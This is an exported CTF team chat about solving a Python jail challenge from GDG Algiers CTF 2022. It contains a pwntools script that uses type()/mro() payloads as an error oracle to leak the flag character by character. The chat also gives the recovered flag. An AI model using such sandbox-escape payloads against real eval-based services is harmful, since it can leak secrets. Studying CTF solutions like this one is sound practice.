Guild icon
Project Sekai
🔒 GDG Algiers CTF 2022 / ✅-jail-type-it-2
Avatar
Type it 2 - 500 points
Category: Jail Description: > Show me what can you type to read me, but this time you'll need fancier payloads Author : Raouf/0x13A0F Files:Tags: python, jail
Sutx pinned a message to this channel. 10/08/2022 11:01 AM
Avatar
@crazyman ai wants to collaborate 🤝
11:05
@TheBadGod wants to collaborate 🤝
Avatar
can someone run the same payload as for 1? might work, currently quite busy
Avatar
i will did it
11:11
@TheBadGod
11:11
Avatar
oooh its in a while true
11:14
meaning we could instead of making a new connection just connect once and repeat queries
Avatar
it's so slow
Avatar
yeah you could speed it up by making the queries over the same connection
11:14
and adjusting the result parsing
Avatar
hmmm let me see
11:20
why it stuck on Error
11:22
@sahuang can u help me on it
11:22
from pwn import * from string import printable from time import sleep r = remote("jail.chal.ctf.gdgalgiers.com", 1304) context.log_level="debug" chars = printable.encode() flag = list(b"CyberErudites{") for i in range(len(flag), 100): # flag length for guess in chars: # all possible chars print("guess: ", bytes(flag), chr(guess)) payload = f"type(type(flag).mro())(type(type(flag).mro())(flag).pop({i}).encode()).remove({guess})" #r = process(["python", "./chal.py"]) r.sendlineafter(b"Input", payload.encode()) output = r.recvall() if b"Error" not in output: flag.append(guess) print("new char: ", bytes(flag)) break
Avatar
i will check, on crypto now
Avatar
ok i will do it
12:01
CyberErudites{ERRRROR_B4$E3_FTW!!!!}
Avatar
Avatar
TheBadGod
used /ctf solve
✅ Challenge solved.
Avatar
from pwn import * from string import printable from time import sleep chars = printable.encode() flag = list(b"CyberErudites{") r = remote("jail.chal.ctf.gdgalgiers.com", 1304) for i in range(len(flag), len(flag)+100): # flag length for guess in chars: # all possible chars print("guess: ", bytes(flag), chr(guess)) payload = f"type(type(flag).mro())(type(type(flag).mro())(flag).pop({i}).encode()).remove({guess})" #r = process(["python", "./chal.py"]) r.sendlineafter(b"Input", payload.encode()) output = r.recvline() print(output) if b"Error" not in output: flag.append(guess) print("new char: ", bytes(flag)) break
12:02
recvall should be recvline, then it just works
Avatar
cool
Exported 24 message(s)